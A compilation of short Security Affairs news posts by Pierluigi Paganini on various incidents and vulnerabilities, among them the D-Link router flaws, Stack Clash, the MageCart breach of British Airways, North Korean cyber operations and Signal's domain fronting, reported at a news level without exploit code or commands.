Are there objective responsibilities?, I afraid that one of the main problem in Italy is related to the concept of cyber security, security is considered a cost to reduce ….we must avoid it.
The Italian security landscape is static, always same names to fill several positions, no openness to new schools of thought …
I consider myself am a stranger at home …. many colleagues told me that read my posts in english it too complex, amazing., Pierluigi Paganini |
2555_38729 | Microsoft released an out-of-band patch to fix a critical security issue in the Windows Adobe Type Manager Library that could be exploited by attackers to execute arbitrary code remotely on the targeted machine., The exploitation of the flaw allows attackers gain complete control over the targeted system., “There are multiple ways an attacker could exploit this vulnerability, such as by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage that contains embedded OpenType fonts. The update addresses the vulnerability by correcting how the Windows Adobe Type Manager Library handles OpenType fonts,” states the advisory issued by Microsoft., Microsoft has released security patches to fix the vulnerability (3079904) for all supported versions of the Windows OS., , The advisory confirms that Windows 2003 and Windows XP will not be patched against this vulnerability, only users with extended support will receive the upgrade on these OS., According to the FireEye firm, the decision to patch all Microsoft OS is a consequence of the disclosure of the exploits used by the Hacking Team., Pierluigi Paganini, (Security Affairs – out-of-band patch, Hacking Team) |
7306_77201 | A group of researchers from the Silesian University of Technology in Poland has discovered three vulnerabilities in some models of D-Link routers that could be chained to take full control over the devices., The flaws are a Directory Traversal (CVE-2018-10822), Password stored in plaintext (CVE-2018-10824), and a Shell command injection (CVE-2018-10823)., “I have found multiple vulnerabilities in D-Link router httpd server. These vulnerabilities are present in multiple D-Link types of routers. All three taken together allow to take a full control over the router including code execution.” reads the security advisory., The vulnerabilities reside in the httpd server of some D-Link routers, including DWR-116, DWR-111, DIR-140L, DIR-640L, DWR-512, DWR-712, DWR-912, and DWR-921., , Researchers found a directory traversal vulnerability, tracked as CVE-2018-10822, that could be exploited by remote attackers to read arbitrary files using an HTTP request., The issue was initially reported to D-Link as CVE-2017-6190, but the vendor did not correctly fix the flaw., This flaw could be exploited to gain access to a file that stores the admin password for the device in clear text., The storage of password in clear text is tracked as CVE-2018-10824, to avoid abuses the experts did not reveal the path of the files, Researchers also reported another flaw, tracked as CVE-2018-10823, that could be exploited by an authenticated attacker to execute arbitrary commands and take over the device., Below a video that shows how the flaws could be chained to takeover a device:, , The experts reported the flaws to D-Link in May but the vendor still hasn’t addressed them, then the experts publicly disclosed the vulnerabilities., Waiting for a patch to address the vulnerabilities, users can make their devices not accessible from the Internet., Pierluigi Paganini, (Security Affairs – D-Link, hacking) |
6746_73009 | The author of the Taylor cryptocurrency trading app announced a security breach, an unknown hacker has stolen around $1.35 million worth of Ether from the wallets of the company., The funds were collected by the company through an initial coin offering (ICO) round., The attack occurred on May 22. the company is still investigating the incident but it believes the culprit is the same hacker that supposedly hacked CypheriumChain stealing more than 17,000 ETH., According to the experts, the hacker stole funds from multiple companies and moved them in a wallet used as an aggregator, then transferred them to the same wallet (0x94f20ccff70d82d1579d8B11f2985F8dE9B287Cf) involved in the CypheriumChain hack in March ., “Today we arrived at the office and found out that we’ve been hacked and all of our funds have been stolen. Not only the balance in ETH (2,578.98 ETH), but also the TAY tokens from the Team and Bounty pools (more than 7% of the total supply). The only tokens that were not stolen are the ones from the Founders’ and Advisors’ pools, because there’s a vesting contract making them inaccessible for now.” reads the announcement published by the company on Medium., “We are still investigating, but, as far as we know, the hacker is same person/group that supposedly hacked CypheriumChain (more than 17,000 ETH were stolen). “, The hacker was able to access one of the company devices and then gained the access to one of the 1Password files, the company excluded that attackers used a smart contract exploit., The only tokens that were not stolen by the attacker are those belonging to the Founders’ and Advisors’ pool because they were held in an inaccessible vesting contract., The company believes the TAY tokens could be soon exchanged for other cryptocurrencies, for this reason, asked the IDEX platform to temporary suspend the trade the TAY tokens to block the hacker. Such kind of countermeasure could have a dramatic effect on legitimate TAY token owners that will not able to trade their tokens., Due to the hack, the Taylor team will stop the launch of its trading app that was initially planned for this month., Someone is speculating this could be an exit scam., Pierluigi Paganini, (Security Affairs – Taylor trading app, hacking) |
5360_60248 | Linux, BSD, Solaris and other open source systems are vulnerable to a local privilege escalation vulnerability known as Stack Clash that allows an attacker to execute code as root., Stack Clash is a local privilege escalation vulnerability tracked as CVE-2017-1000364 that affects some open source systems, including Linux, BSD, and Solaris., The Stack Clash affects the memory management of several OSs, it can be exploited by attackers to corrupt memory and execute arbitrary code., Security patches have been released today for many Linux and open source distros, and systems running Linux, OpenBSD, NetBSD, FreeBSD or Solaris on i386 or amd64 hardware should be updated soon., Experts warn of the possibility to chain this flaw with other vulnerabilities to run arbitrary code with the highest privileges., Researchers at Qualys who discovered this vulnerability have developed seven exploits and seven proofs of concept for this weakness., “The exploits and proofs of concept that we developed in the course of our research are all Local Privilege Escalations: an attacker who has any kind of access to an affected system can exploit the Stack Clash vulnerability and obtain full root privileges.” states Qualys ., The stack is the memory region used by a program during its execution, it grows automatically when the program needs more stack memory. It this region grows too much it can interfere with the stack of another process, an attacker can force the growth to overwrite another memory region., “Why is it called the Stack Clash? The first step in exploiting this vulnerability is to collide, or clash, the stack with another memory region. Hence the name: the Stack Clash.” continues the analysis., The attack bypasses the stack guard-page protection against stack-clashes implemented in Linux in 2010., The proof of concept exploits is composed of the following steps:, “Clashing” the stack with another memory region: we allocate memory until the stack reaches another memory region, or until another memory region reaches the stack;” states the security advisory published by Qualys., “Jumping” over the stack guard-page: we move the stack-pointer from the stack and into the other memory region, without accessing the stack guard-page;”, “Smashing” the stack, or the other memory region: we overwrite the stack with the other memory region, or the other memory region with the stack.”, , Is it exploitable remotely?, The researchers do not know of any remotely exploitable application, however thay don’t exclude remote exploitation of the Stack Clash., “The one remote application that we did investigate (the Exim mail server) turned out to be unexploitable by sheer luck.” states the advisory., In order to temporarily mitigate the attack, Qualys recommends increasing the size of the stack guard-page to 1MB at a minimum., The advisory also recommends recompiling all userland code with the –fstack-check option in order to prevent the stack pointer from moving into other memory regions., Pierluigi Paganini, (Security Affairs – Stack Clash, Linux) |
6552_71261 | Some of the most popular music videos on YouTube, including the world’s most popular YouTube video ‘Despacito’ has been hacked., Popular videos of pop stars like Shakira, Drake, Selena Gomez, Adele, Taylor Swift, and Calvin Harris were replaced by hackers that spread the message “Free Palestine.”, Despacito, the Luis Fonsi’s mega-hit that was watched five billion times was replaced by an image of a group of armed men dressed in hooded sweatshirts that appeared to come from the Spanish series “Money Heist.”, Source Welivesecurity.com, The videos were hacked by a duo calling themselves Prosox and Kuroi’SH., All the hacked videos are on singers’ accounts belonging to the VEVO platform that is owned by a group of some of the biggest music corporations., According to YouTube, the problem doesn’t affect its platform but Vevo., “After seeing unusual upload activity on a handful of Vevo channels, we worked quickly with our partner to disable access while they investigate the issue,” a YouTube spokesperson said., Vevo confirmed a security breach on systems., “We are working to reinstate all videos affected and our catalog to be restored to full working order. We are continuing to investigate the source of the breach,” it said in a statement., The alleged hacker @ProsoxW3b started posting severs Tweets first saying it has hacked for fun and not for profit., , Pierluigi Paganini, (Security Affairs – Despacito Hacked, VEVO), , |
4043_49678 | A hacker has accessed and downloaded the source code of the Twitter’s Vine application. Vine is a short-form video sharing service, acquired by Twitter in 2012, that allows users to share small videos of 6 seconds looping them., The security expert and bug hunter Avinash has discovered a flaw in Vine that allowed him to download a Docker image containing the source code of the application., Docker is a widely used open platform for developers and sysadmins to build, ship, and run distributed applications, it allows administrators to run more apps on the same old servers., While running a penetration test, Avinash surprisingly discovered that Vine was using Docker images publicly available online., Avinash used the Censys.io search engine to find dockers images online, and he found more that 80 images., “Censys.io gave me an interesting URL in its result.” Avinash wrote in a blog post. “If it is supposed to be private, then why is it publicly accessible? There has to be some thing else to going on here. On googling /* private docker registry */ I get to know that the docker provides a functionality which allows a developer to host and share images through the web.”, , One of the images named ‘vinewww‘ was related to the Vine application, he downloaded it and examined it with a docker image viewer., , He could not believe what I had found! The complete source code of the Vine platform was on the screen. The code includes API keys as well as third-party keys., “I was able to see the entire source code of vine, its API keys and third party keys and secrets. Even running the image without any parameter, was letting me host a replica of VINE locally.” added the expert., , The hacker reported the issue to Vine that rewarded him with $10,080 Bounty award. Of course, the problem was fixed in a few minutes., Below the complete timeline of the event that allowed the hacker to download the entire Vine Source Code., Pierluigi Paganini, (Security Affairs – Vine Source Code, hacking) |
238_6239 | According to the news published on Korea JoongAng Daily website, North Korea cyber army has been tracked attempting cyber attacks on Incheon International Airport systems spreading a virus planted in game programs., The information has been provided by the Seoul Metropolitan Police Agency referring that a 39-year-old South Korean man was arrested for involvement and charged with violating the National Security Law., The man, a game distributor, was arrested with the help of The National Intelligence Service as declared by police. The South Korean man in September 2009 traveled to Shenyang, northeastern China, to meet agents of an alleged North Korean trading company with to acquire software games to be sold in the South. It seems that the South Korean man was informed on the real identity of the agents that belonged to the North’s Reconnaissance General Bureau., The Bureau is responsible for collecting strategic, operational, and tactical intelligence for the Ministry of the People’s Armed Forces and it is also responsible for infiltrating intelligence personnel into South Korea., The South Korean man acquired dozens of games for a price that was a third the cost of the same kind of software in the South, but it has been discovered that the games were infected with a malware viruses and that the buyer was informed of its presence., The games were sold by the South Korean man to operators of online games of his country, the virus infected the applications were used to transform user’s machine in a zombie of the botnets created with the purpose to launch distributed denial-of-service attack against Incheon International Airport. In March 2011, at least three times the airport has been attacked, fortunately without success thanks to the response of the intelligence., The South Korean intelligence suspect that the attacks were prepared by North’s Reconnaissance General Bureau. In September a similar attack to the flight data processor paralyzed air traffic control at Incheon International Airport for nearly an hour., The main concern is related to the spread of a virus, a cyber weapon used by North Korean government, to interfere with air traffic control at Incheon International Airport., Many experts are sure that North Korea is conducing a massive cyber campaign against South Koreas to destroy critical infrastructures in the South such as power plants and water., According source of intelligence of South Korea “The North’s Reconnaissance General Bureau has hired group of hackers, mainly located in China, to conduct attacks against strategic targets such as the the South., Which are the cyber capabilities of North Korea?, North Korea has the highest percentage of military personnel in relation to population than any other nation in the world, with approximately 40 enlisted soldiers per 1000 people with a considerable impact on the budge of the country. Don’t forget also that North Korea has capabilities that also include chemical and biological weapons. A defector has declared that North Korea has increased its cyber warfare unit to staff 3,000 people and it is massive training its young prodigies to become professional hackers., The large cyber force responds directly to the command of the country’s top intelligence agency, the General Reconnaissance Bureau. Last year satellite images related to the area that is suspected to host North Korea’s ‘No. 91 Office’ appeared online. The unit is based in the Mangkyungdae-district of Pyongyang dedicated to computer hacking, its existence was revealed in a seminar on cyber terror in Seoul., , According to the revelation of Army General James Thurman, the commander of US Forces Korea, the government of Pyongyang is massively investing in cyber warfare capabilities, recruiting and forming a high skilled team of hackers to be engaged in offensive cyber operations against a hostile government and in cyber espionage activities., In more than one occasion the North Korea has threatened the South promising waves of attacks, and the cyber offensive option is the most plausible considering the advantage in terms of efficiency, noise, and political impact., North Korea’s electronic warfare capabilities are second only to Russia and the United States, a South Korean expert claimed Thursday., Professor Lee Dong-hoon of the Korea University Graduate School of Information Security said the North Korea’s electronic warfare capabilities are second only to Russia and the United States, a South Korean expert claimed Thursday., “North Korea has been preparing for cyber warfare since the late 1980s and is now the third strongest after Russia and the U.S.,”, he said at the Defense Security Command’s defense information security conference in Seoul., “In North Korea the state nurtures cyber (warfare) personnel to achieve military aims, and is capable of conducting various cyber attacks including denial of service and hacking.”, He quoted the distributed denial of service, or DDoS, attack in July 2009 that is suspected to have been launched by the Pyongyang Computer Technology University., Recently, from April 28 until May 13, GPS signals were jammed here causing difficulties in air and marine traffic controls of South Korea, the origin of attacks was located on the North Korean boundary, no doubts that it was arranged by North Korean intelligence., According to the security specialist, South Korea is not prepared to respond to the attacks arranged by Pyongyang governments and this consideration must induce serious concern regarding the critical political situation in the area., The same opinion and concerns on North Korea’s cyber warfare capabilities are shared by the chief of the Defense Security Command Army Lieutenant General Bae Deag-sig that declared:, “North Korea is attempting to use hackers to infiltrate our military’s information system to steal military secrets and to incapacitate the defense information system,” Bae said., “The military is updating the information protection policies and systems as part of the efforts to strengthen its response capabilities.”, North Korea, in the cyber scenario, is assuming a determinant role that approaches it important to the one related to historical cyber countries such as China and Russia. The evolution of the conflicts and its increasing propensity to adopt cyber operations should lead many concerns. In the short term to fight the cyber threat it is necessary a significant investment of the countries of the Asia Pac area in cyber warfare capabilities, South Korea first, I am unfortunately convinced that dialogue with North Korea at this time of profound change for the country is very difficult., Pierluigi Paganini, (Security Affairs – North Korea, Information Warfare) |
4569_54029 | While I was reporting the news that the FSB unnamed foreign hackers are planning to undermine Russian Banks, the Russian Central Bank confirmed hackers have stolen 2 billion rubles (roughly $31M) in cyber attacks, Central bank official Artyom Sychyov confirmed the incident and added that the hackers had attempted to steal much more, about 5 billion rubles., “We were lucky to return some of money,” said a Russian central bank spokesperson., , Sychyov was commenting on a central bank report released yesterday by the FSB. The hackers broke into bank accounts by faking a client’s credentials. The bank provided few other details in its lengthy report., “Hackers stole more than 2 billion rubles ($31 million) from correspondent accounts at the Russian central bank, the bank said on Friday, the latest example of an escalation of cyber attacks on financial institutions around the globe.” reported the Reuters., At the time I was writing there are no details about the attack., In September the SWIFT disclosed more attacks against banks worldwide, pressures banks on security and urged member banks to implement the new SWIFT software by November 19., In the last months, a worrisome string of cyber attacks against banks worldwide through the SWIFT system has alarmed the banking industry. The so-called “SWIFT hackers” have conducted multiple cyber attacks against financial institutions. We reported the successful cyber heists on the Bangladesh bank, against a Ukrainian bank, and the Ecuadorian bank, meanwhile, a Vietnam bank reported to have blocked an ongoing cyber heist., In May, a fourth Bank in the Philippines was a victim of the SWIFT hackers and the experts at Symantec confirmed the malware used by the crooks shares code with tools used by the notorious Lazarus group linked to the North Korean Government., According to the Reuters agency, the SWIFT issued a new warning urging member banks to implement the new SWIFT software by 19 November., The latest version of SWIFT’s software implements new security features specifically designed to defeat such kind of attacks. The authentication processes have been improved such as the implementation of mechanisms to early detect fraudulent activities., Stay tuned!, Pierluigi Paganini, (Security Affairs – Cyber heist, Russian Central bank) |
209_5337 | In last months we have a long discussed about the security status of US networks and infrastructures, we have described the American cyber strategies and the main action proposed to protect the principal assets of the nations. One story in particular struck us deeply, that relating to the vulnerability of U.S. Government networks for admission of senior government officials are routinely hacked. Difficult to accept a reality that is disconcerting, one of the major superpowers in the world forefront of the technology is vulnerable to attack by hacker groups animated by the most diverse motives., Who is interested to US networks and why?, Consider that cyber infrastructures of a country are a mine of news that attracts foreign governments, independent hackers and also hacktivism, all this forces daily combine their actions against the same target. The success of the cyber attacks against US networks, according the declarations of the security experts, is due the US infrastructure status that are protected by obsolete defense systems unable to fight against continuous incursions. Speaking before the Senate Armed Services Subcommittee on Emerging Threats and Capabilities the experts told the assembled Senators that the U.S. government needed to abandon the notion that it could keep outsiders off its computer networks., Very meaningful the worlds pronounced by Senator Rob Portman member of the Emerging Threats and Capabilities subcommittee:, “We can do things to make it more costly for them to hack into our systems…,”, “but you didn’t say we can stop them.”, A clear message that expresses the awareness of the threat and impossibility to defeat it in the short term This time the revelations on the status of US networks come from the famous group Anonymous, in a recent interview its component Christopher “Commander X” Doyon, who today lives in Canada, declared:, Right now we have access to every classified database in the U.S. government. It’s a matter of when we leak the contents of those databases, not if. You know how we got access? We didn’t hack them. The access was given to us by the people who run the systems…, The five-star general (and) the Secretary of Defense who sit in the cushy plush offices at the top of the Pentagon don’t run anything anymore. It’s the pimply-faced kid in the basement who controls the whole game, and Bradley Manning proved that., According Doyon, the great force of the groups is made by insiders in government infrastructures that give the group an unimaginable power, the power of knowledge and information., , Doyon has admitted him participation in some of the most important attacks on websites last year from Sony to PayPal. He was arrested in September for a minor hack on the county website of Santa Cruz, Calif., where he was living, in retaliation for the town forcibly removing a homeless encampment on the courthouse steps., For that, Doyon is facing 15 years in jail. But he crossed the border into Canada in February to avoid prosecution. Doyon was the leader of the People’s Liberation Front , a group allied with Anonymous and is considered the most wanted hacktivist after Julian Assange., The hacker has reiterated the concept saying, “The entire world right now is run by information,”, “Our entire world is being controlled and operated by tiny invisible 1s and 0s that are flashing through the air and flashing through the wires around us. So if that’s what controls our world, ask yourself who controls the 1s and the 0s? It’s the geeks and computer hackers of the world.”, What the hacker claims regarding today’s information society is correct, each date is related to its simple binary representation, a core of information expressed using 0s and 1s that can never be considered completely safe., What do you think about the revelation of the exponent of the group? What is the truth behind these declarations?, We are now accustomed to sensational statement by Anonymous, we all recognize its great media capacity, but rather than believing the truth exposed the experts have the following interpretations:, I think both assumptions valid while acknowledging that Doyon has certainly exaggerated in his claims to more striking its declarations. The risk of insider close to the group is high and to face similar threats requires observations of procedures and protocols in order to prevent access to confidential information., I’m still convinced that the group is in a phase of profound transformation, new inside tumultuous currents have born and they could degenerate to dangerous insurgents., In my opinion, such statements must be taken into consideration but I also believe that the group has issued statements to pursue a clear strategy of media presenteeism., In recent weeks, in several articles I predicted the possibility that law enforcement and intelligence agencies were infiltrating the group, today according hacktivist’s declaration we are assisting to a reverse of the scenario. The reality is that both factions fear the event and are working so that the damage could be minimal in case of external conditions., Meanwhile we have few info on how Anonymous is approaching the problem, on the opposite site we have perception of how major government agencies are facing the threat. I note that the FBI in more than one occasion pointed out the need to detect insider providing valuable guidance and insights on the topic., Regard the topic I suggest to read the guidance provided by FBI “The Insider Threat An introduction to detecting and deterring an insider spy.” an introduction for security personnel on how to detect an insider threat and provides tips on how to safeguard your company’s trade secrets. Cyber espionage and theft of intellectual property are increasing threats to organizations and government institutions that can go unnoticed for months or even years., The message is:, “We must remain on guard, we don’t wait for the day when Doyon’s words will come true”, Pierluigi Paganini |
6295_68753 | Lauri Love was accused of hacking into United States government websites, will not be extradited to stand trial in the U.S., the High Court of England and Wales ruled today., The list of victims of the hacker includes the FBI, the Federal Reserve Bank, US Missile Defence Agency, National Aeronautics and Space Administration (NASA), and the US Missile Defence Agency., The decision of the Lauri Love’s extradition was taken at Westminster Magistrates’ Court in London in 2016, by District Judge Nina Tempia. If extradited, Love risks a sentence to up to 99 years in prison and a potential fine of up to $9 million., Actually, the man would face a prison sentence in the UK following his five years of legal battle., US Prosecutors believe that Lauri Love is a member of a hacker crew, they sustain that he was also involved in the OpLastResort campaign launched by Anonymous against the US Government., , Lord Chief Justice Lord Burnett of Maldon and Justice Ouseley halted the extradition after heard Lauri Love suffered severe mental illness, including Asperger syndrome, and depression, they fear the man should commit suicide if extradited., “There have not been any incidents of self-harm in the past but I accept Mr Love has experienced suicidal thoughts intermittently, both in the past and now. Mr Love denied any suggestion that he had exaggerated his symptoms and his suicide risk which I accept given the medical evidence.” the High Court ruled on Monday.
“I also accept Professor Baron-Cohen and Professor Kopelman’s evidence that he would attempt suicide before extradition to the United States. Both are of the opinion he would be at high risk of suicide. I accept Professor BaronCohen’s oral evidence that Mr Love’s intention is not a reflection of a voluntary plan or act but due to his mental health being dependant on him being at home with his parents and not being detained for an indefinite period.”, The court recognized that extradition would be “oppressive” due to the man’s health conditions. Love supporters that were present in the court applauded the judgment., The Crown Prosecution Service (CPS), which acts on behalf of the US authorities, would examine the judgment before deciding whether to appeal the high court decision to the supreme court., “I’m thankful for all the support we’ve had, without which I’m not sure I would have made it this far.” commented Love expressing gratitude to the judges., The judgment was accepted with joy in the hacking community and by human rights advocates., VICTORY: @LauriLove wins UK appeal against US extradition. Congratulations to Lauri, his lawyers & family, @CourageFound and many supporters on an excellent campaign., — Julian Assange ⌛ (@JulianAssange) February 5, 2018, , Pierluigi Paganini, (Security Affairs – Lauri Love, hacking) |
4113_50170 | Claudio Caracciolo (@holesec) wrote a book and is known for his effective interpersonal skills and his ability as an international speaker., Enjoy the Interview., , You are one of the world’s most talented cyber security experts, Could you tell me which his your technical background and when you started hacking?, First of all, thank you Pierluigi for the interview and for the compliment., I studied Electronic Engineering and Telecommunications, but the real story it’s that I love break things, learn about it works and try to fix them or expand its functionalities. So, I live my entire live in that way, breaking everything I find. I break things that sometimes I could fix, that sometimes I could expand his functionalities and that sometimes I have to put in the trash…, I started hacking so time ago but I didn’t know… I started doing some electronic experiments with cameras and mixers, then I worked in a Garage trying to modify computers board on different cars, and finally I discovered communications system so I started to study outside of the University everything that I needed (programming languages, network concepts, hardware concepts, etc.) with the intention of learning how it was possible… But one day, I discovered Social Engineering and all my life makes sense XD., What was your greatest hacking challenge?, Well, there is a lot of stories that I remember of my own work, some of them are about one of my passions: “Social Engineering” (you can read some off them in my blog in Spanish), but I have to tell you that the greatest hacking challenge for me it’s that one that I have to find… I have a lot of funny stories or good ones but I always search more training for my mind., What are the 4 tools that cannot be missed in the hacker’s arsenal and why?, In my opinion, you have to use the tool that you need… Nowadays exist a lot of tools that do the same thing in a different way, or even at the same way but with different interface… If you know what do you have to do and how your tool works, you can use whenever you want…, In my case, I usually have Python with Scapy, Nmap, Wireshark, FruityWiFi and SEToolkit. I know there are 5 tools and not 4., Which is the industry (healthcare, automotive, telecommunication, banking, and so on) most exposed to cyber attacks and why?, Everyone. I don’t think there is one which is more exposed than others. There is some particularity in some type of industries but everyone are targets for criminals, hacktivist, students, etc., for example:, Most of companies have technical problems and human’s problems, so we have a lot of work for a long long time., We often hear about cyber weapons and cyber attacks against critical infrastructure. Do you believe it is real the risk of a major and lethal cyber attack against a critical infrastructure?, Yes, I’m sure about that., The older technology, the not real educations in Cybersecurity, the long time amortization these special devices, the unpatched applications or unsupported operative systems exist more commonly in this industry…long time amortization these special devices, the unpatched applications or unsupported operative systems exist more commonly in this industry…, Fortunately, people and industrial vendors are starting to understand this type of threats and work around this., What scares you more on the internet and why? , Scared? I’m not scared, I think that no one should be scared., I am worried for that many Companies and Governments are not ready yet to protect us from basic attacks., Thanks a lot!, , Pierluigi Paganini, (Security Affairs – hackers, Claudio Caracciolo) |
7156_76108 | The responsible of the recently disclosed British Airways data breach is a crime gang tracked as MageCart. The group has been active since at least 2015 and compromised many e-commerce websites to steal payment card and other sensitive data., The group injects a skimmer script in the target websites to siphon payment card data, once the attackers succeed in compromising a site, it will add an embedded piece of Javascript to the HTML template. Below an example script dubbed MagentoCore., This script records keystrokes from customers and sends them to a server controlled by the attacker., Typically hackers attempt to compromise third-party features that could allow them to access a large number of websites., According to the security firm RiskIQ, the MageCart group carried out a targeted attack against the British Airways and used a customized version of the script to remain under the radar., The hackers used a dedicated infrastructure for this specific attack against the airline., “This attack is a simple but highly targeted approach compared to what we’ve seen in the past with the Magecart skimmer which grabbed forms indiscriminately. This particular skimmer is very much attuned to how British Airway’s payment page is set up, which tells us that the attackers carefully considered how to target this site instead of blindly injecting the regular Magecart skimmer.” reads the analysis published by RiskIQ., “The infrastructure used in this attack was set up only with British Airways in mind and purposely targeted scripts that would blend in with normal payment processing to avoid detection. We saw proof of this on the domain name baways.com as well as the drop server path. “, Experts analyzed all the scripts loaded by the website and searched for any evidence of recent changes., The expert noticed some changes in the Modernizr JavaScript library, attackers added some lines of code at the bottom to avoid causing problems to the script. The JavaScript library was modified on August 21, 20:49 GMT., The malicious script was loaded from the baggage claim information page on the British Airways website, the code added by the attackers allowed Modernizr to send payment information from the customer to the attacker’s server., , The script allowed the attacker to steal users’ data from both the website and the mobile app., The data stolen from the British Airways was sent in the form of JSON to a server hosted on baways.com that resembles the legitimate domain used by the airline., The attackers purchased an SSL certificate from Comodo to avoid raising suspicion., “The domain was hosted on 89.47.162.248 which is located in Romania and is, in fact, part of a VPS provider named Time4VPS based in Lithuania. The actors also loaded the server with an SSL certificate. Interestingly, they decided to go with a paid certificate from Comodo instead of a free LetsEncrypt certificate, likely to make it appear like a legitimate server:” continues RiskIQ., At the time it is still unclear how MageCart managed to inject the malicious code in the British Airways website., “As we’ve seen in this attack, Magecart set up custom, targeted infrastructure to blend in with the British Airways website specifically and avoid detection for as long as possible. While we can never know how much reach the attackers had on the British Airways servers, the fact that they were able to modify a resource for the site tells us the access was substantial, and the fact they likely had access long before the attack even started is a stark reminder about the vulnerability of web-facing assets.” concludes RiskIQ., Pierluigi Paganini, (Security Affairs – British Airways, data breach) |
5512_61393 | Chinese police have identified and arrested individuals suspected to be the operators behind the massive adware campaign that infected more than 250 Million computers across the world earlier this year., In June, researchers at security firm Check Point discovered the massive campaign spreading the Fireball malware. The malicious code was infecting both Windows and Mac OS systems, it can be used by attackers to gain full controls of the victim’s web browsers, to spy on the victims and exfiltrate user data., The adware is disguised as a legitimate software and leverages browser plug-ins to boost its own advertisements., , The researchers associated the campaign with the operation of the Chinese firm Rafotech that is a company that officially offers digital marketing and game apps to 300 million customers., Chinese media outlets reported eleven Rafotech employees arrested by local police, including executives. It seems that the authorities arrested the suspects in June shortly after the publication of the report., The Chongqing Morning News confirmed that the president, the technical director, and an operations director were arrested by the Chinese Police., According to the state-owned outlet “Sixth Tone,” the click-fraud netted 80 million yuan, nearly US$12 million., The Beijing Municipal Public Security Bureau Haidian Branch Network Security Brigade was informed by someone working under the pseudonym Zhang Ming, then the authorities monitored the Fireball campaign tracking its operators., The individuals have allegedly “admitted the facts,” they were responsible for the campaign that launched around 2015 when the Rafotech setup the advertising fraud., According to Beijing Youth Daily, the Fireball adware did not infect Chinese users to avoid being investigated by local authorities., To check the presence of the malware on your systems open your web browser and try to reply the following questions:, To uninstall the adware just remove the respective application from the machine and reset to default settings for your browser., Pierluigi Paganini, (Security Affairs – (Fireball, adware) |
849_19934 | The NSA infected more than 50000 networks worldwide with malicious software designed to steal sensitive information. The large-scale cyber espionage operation was revealed once again by documents provided by former NSA consultant Edward Snowden according to Dutch media outlet NRC., “The NSA declined to comment and referred to the US Government. A government spokesperson states that any disclosure of classified material is harmful to our national security.” reported NRC., The news is not surprising but once again raises the debate on the effrontery US surveillance program that created a complex and efficient global spying machine., The documents include a presentation dated 2012 that details how the NSA operates worldwide to steal information exploiting Computer Network Exploitation (CNE) in more than 50000 networks., , Computer Network Exploitation is a secret system malware based used to compromise the computers within targeted networks and steal sensitive data. Security experts believe that the telecoms were the most likely targets for the malware, they are confident that the CNE was used in September 2013 to hack the Belgium telecom provider Belgacom. The GCHQ (British Government Communications Headquarters) used fake LinkedIn and Slashdot to hack Belgacom, OPEC & others GRX providers, the cyber espionage operation was conducted to install malware in the Belgacom network in order to tap their customers’ communications and data traffic., NSA’s Computer Network Operations program describes Computer Network Exploitation as a key part of the program’s mission that “includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks.”, The slides recently published report on top and bottom a stripe reads, “REL TO USA, AUS, CAN, GBR, NZL”, known as five eyes nations that include the U.S., U.K., Canada, Australia, and New Zealand. Those countries work together conducting intelligence operations and sharing the same orientation on surveillance matter, they recently were opposed to the United Nations’ anti-surveillance, right-to-privacy draft resolution called “The Right to Privacy in the Digital Age“., The US hacking campaigns are performed by a special department of US cyber units known as called TAO (Tailored Access Operations) that I also mentioned when I described the FOXACID architecture. TAO employs more than a thousand high profile hackers, in August the Washington Post reported that the NSA installed an estimated 20,000 ‘implants’ as early as 2008, by mid-2012 this number had more than doubled to 50,000., The malware used for cyber espionage are software agents that could remain undetected for a long time, the NSA-presentation shows their CNE-operations in countries such as Venezuela and Brazil., Since now the NSA declined to comment and referred to the US Government, the NRC concludes its article remarking that the Dutch government’s intelligence service has also its own hacking unit, but that it’s prohibited by law the hack on foreign networks to conduct similar cyber operations., Pierluigi Paganini, (Security Affairs – NSA, 50000 networks) |
4653_54659 | Signal is considered the most secure instant messaging app, searching for it on the Internet it is possible to read the Edward Snowden’ testimony:, “Use anything by Open Whisper Systems” Snowden says., The Cryptographer and Professor at Johns Hopkins University Matt Green and the popular security expert Bruce Schneier are other two admirers of the Signal app., The latest update of Signal has just been developed to implement mechanisms to circumvent censorship and restrictions applied by governments that want to avoid its use., Some states are already blocking the application with the support of ISPs. The Government of Egypt and the United Arab Emirates applied measures to block Signal, for this reason, the Open Whisper Systems who develop the app has revised the Android version introducing a technique called domain fronting., “With today’s release, domain fronting is enabled for Signal users who have a phone number with a country code from Egypt or the UAE,” said company founder Moxie Marlinspike in a blog post. “When those users send a Signal message, it will look like a normal HTTPS request to www.google.com. To block Signal messages, these countries would also have to block all of google.com.”, The domain fronting is a technique that relies on the use of different domain names at different application layers to evade censorship., , The domain fronting techniques “hides the remote endpoint of a communication. Domain fronting works at the application layer, using HTTPS, to communicate with a forbidden host while appearing to communicate with some other host, permitted by the censor,” as described in a paper published by researchers from the University of California, Berkeley, Psiphon, and Brave New Software., “The key idea is the use of different domain names at different layers of communication. One domain appears on the “outside” of an HTTPS request—in the DNS request and TLS Server Name Indication—while another domain appears on the “inside”—in the HTTP Host header, invisible to the censor under HTTPS encryption.” continues the paper.”A censor, unable to distinguish fronted and nonfronted traffic to a domain, must choose between allowing circumvention traffic and blocking the domain entirely, which results in expensive collateral damage” , The Domain fronting technique is easy to deploy and use and doesn’t require special activities by network intermediaries., If the front domain is a popular website like ‘google.com, if the censor will block it would have a serious impact on the users., Domain fronting has a cost., Domain fronting leverages a CDN that have to receive the request and forward it to the domain in the HTTP host header, or a service that provides similar functionality, like Google’s App Engine., Such services typically have a cost that according to the paper ranges from $0.10–0.25 per GB using a service like Google App Engine, Amazon CloudFront, Microsoft Azure, Fastly, and CloudFlare. This may explain why Signal isn’t making domain fronting a default everywhere., Due to this cost, Signal isn’t providing domain fronting by default., What about domain fronting for the iOS version of Signal?, Marlinspike confirmed that an iOS version of Signal that supports domain fronting is expected soon, meantime it is available a beta version., Pierluigi Paganini, (Security Affairs – Signal, domain fronting) |
